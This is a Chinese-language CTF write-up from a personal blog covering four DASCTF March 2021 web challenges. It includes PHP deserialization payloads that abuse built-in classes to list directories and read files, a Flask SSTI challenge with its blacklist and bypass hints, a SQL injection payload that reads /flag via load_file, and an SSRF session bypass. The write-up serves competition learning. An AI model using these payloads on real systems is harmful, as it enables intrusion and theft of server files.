安恒月赛DASCTF三月娱乐赛

·
CTFWP no tag March 29, 2021

前言

比赛的时候只做了一个序列化,后来看了看各位大师傅的wp,学到一点东西,故做总结。

ez_serialize

题目给出源码

  <?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;
}

很明显没有什么可以利用的类,于是想到利用PHP原生类。

给出一些可以利用的类。

类描述
DirectoryIterator遍历目录
FilesystemIterator遍历目录
GlobIterator遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag*
SplFileObject读取文件,按行读取,多行需要遍历
finfo/finfo_open()需要两个参数

可以用脚本测试可以利用魔术方法的类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            echo $class . '::' . $method."<br>";
        }
    }
}
Exception::__wakeup<br>Exception::__toString<br>ErrorException::__wakeup<br>ErrorException::__toString<br>Error::__wakeup<br>Error::__toString<br>CompileError::__wakeup<br>CompileError::__toString<br>ParseError::__wakeup<br>ParseError::__toString<br>TypeError::__wakeup<br>TypeError::__toString<br>ArgumentCountError::__wakeup<br>ArgumentCountError::__toString<br>ArithmeticError::__wakeup<br>ArithmeticError::__toString<br>DivisionByZeroError::__wakeup<br>DivisionByZeroError::__toString<br>Generator::__wakeup<br>ClosedGeneratorException::__wakeup<br>ClosedGeneratorException::__toString<br>DateTime::__wakeup<br>DateTime::__set_state<br>DateTimeImmutable::__wakeup<br>DateTimeImmutable::__set_state<br>DateTimeZone::__wakeup<br>DateTimeZone::__set_state<br>DateInterval::__wakeup<br>DateInterval::__set_state<br>DatePeriod::__wakeup<br>DatePeriod::__set_state<br>JsonException::__wakeup<br>JsonException::__toString<br>LogicException::__wakeup<br>LogicException::__toString<br>BadFunctionCallException::__wakeup<br>BadFunctionCallException::__toString<br>BadMethodCallException::__wakeup<br>BadMethodCallException::__toString<br>DomainException::__wakeup<br>DomainException::__toString<br>InvalidArgumentException::__wakeup<br>InvalidArgumentException::__toString<br>LengthException::__wakeup<br>LengthException::__toString<br>OutOfRangeException::__wakeup<br>OutOfRangeException::__toString<br>RuntimeException::__wakeup<br>RuntimeException::__toString<br>OutOfBoundsException::__wakeup<br>OutOfBoundsException::__toString<br>OverflowException::__wakeup<br>OverflowException::__toString<br>RangeException::__wakeup<br>RangeException::__toString<br>UnderflowException::__wakeup<br>UnderflowException::__toString<br>UnexpectedValueException::__wakeup<br>UnexpectedValueException::__toString<br>CachingIterator::__toString<br>RecursiveCachingIterator::__toString<br>SplFileInfo::__toString<br>DirectoryIterator::__toString<br>FilesystemIterator::__toString<br>RecursiveDirectoryIterator::__toString<br>GlobIterator::__toString<br>SplFileObject::__toString<br>SplTempFileObject::__toString<br>SplFixedArray::__wakeup<br>ReflectionException::__wakeup<br>ReflectionException::__toString<br>ReflectionFunctionAbstract::__toString<br>ReflectionFunction::__toString<br>ReflectionParameter::__toString<br>ReflectionType::__toString<br>ReflectionNamedType::__toString<br>ReflectionMethod::__toString<br>ReflectionClass::__toString<br>ReflectionObject::__toString<br>ReflectionProperty::__toString<br>ReflectionClassConstant::__toString<br>ReflectionExtension::__toString<br>ReflectionZendExtension::__toString<br>AssertionError::__wakeup<br>AssertionError::__toString<br>DOMException::__wakeup<br>DOMException::__toString<br>PDOException::__wakeup<br>PDOException::__toString<br>PDO::__wakeup<br>PDOStatement::__wakeup<br>SimpleXMLElement::__toString<br>SimpleXMLIterator::__toString<br>CURLFile::__wakeup<br>mysqli_sql_exception::__wakeup<br>mysqli_sql_exception::__toString<br>PharException::__wakeup<br>PharException::__toString<br>Phar::__destruct<br>Phar::__toString<br>PharData::__destruct<br>PharData::__toString<br>PharFileInfo::__destruct<br>PharFileInfo::__toString<br>

类可控,且能触发类中的__toString方法。于是可以找有__toString方法的类。

最终。

<?php
class A{
    public $class='FilesystemIterator';
    public $para="/var/www/html";
    public $check;
    }
$o  = new A();
echo serialize($o);

用这个可以读到第一个目录。

最终可以读进去发现flag.php

然后又这个读flag

<?php
class A
{
    public $class="SplFileObject";
    public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
}
$a = new A();
echo serialize($a);

https://www.php.net/manual/zh/splfileobject.tostring

这个其实和fgets()一样。

image.png

baby_flask

源码有过滤的字符

blacklist</br>   
'.','[','\'','"',''\\','+',':','_',</br>   
'chr','pop','class','base','mro','init','globals','get',</br>   
'eval','exec','os','popen','open','read',</br>   
'select','url_for','get_flashed_messages','config','request',</br>   
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>    
</br>

数字被过滤可以用特殊字符来绕。

参考资料https://xz.aliyun.com/t/9271

环境没了自己搭一个玩玩吧。

from flask import Flask
from jinja2 import Template
from flask import request

app = Flask(__name__)


@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    blacklist = ['.','[','\'','"','+',':','_','chr','pop','class','base','mro','init','globals','get','eval','exec','os','popen','open','read','select','url_for','get_flashed_messages','config','request','count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9']

    for i in blacklist:
        if i in name:
            return Template('你真是个小可爱').render()

    t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!--   ?name=master  -->")
    return t.render()


if __name__ == "__main__":
    app.run()

unicode特殊字符可以绕,于是我们有了所有数字。

然后就可以拼接字符了。

image.png

然后就和下面这道题一样了。

https://www.anquanke.com/post/id/212808#h3-9

https://xz.aliyun.com/t/8029

可以参考别的大佬的博客,也有很多绕过方式。

https://shimo.im/docs/lf9OcEmdH70MC17f/read

http://www.plasf.cn/articles/dasctf202103.html

BestDB

太卡了,不想做了。不过贴一个payload吧

lisi"/**/union/**/select/**/(select/**/load_file(0x2f666c6167)),2,3#

ez_login

源码

<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }
    include("./php/check_ip.php");
    error_reporting(0);
    $url = $_GET['url'];
    if(check_inner_ip($url)){
        if($url){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
            $output = curl_exec($ch);
            $result_info = curl_getinfo($ch);
            curl_close($ch);
            }
    }else{
        echo "Your IP is internal yoyoyo";
    }
?>

因为没环境了,这里提一下怎么绕过

if(!isset($_SESSION)){
    highlight_file(__FILE__);
    die("no session");
}

这里直接传一个PHP_SESSION_UPLOAD_PROGRESS就可以了。

  • Javaweb 的一些题目复现
  • 红明谷CTF 复现
取消回复

说点什么?

© 2023 Yang_99的小窝. Using Typecho & Moricolor.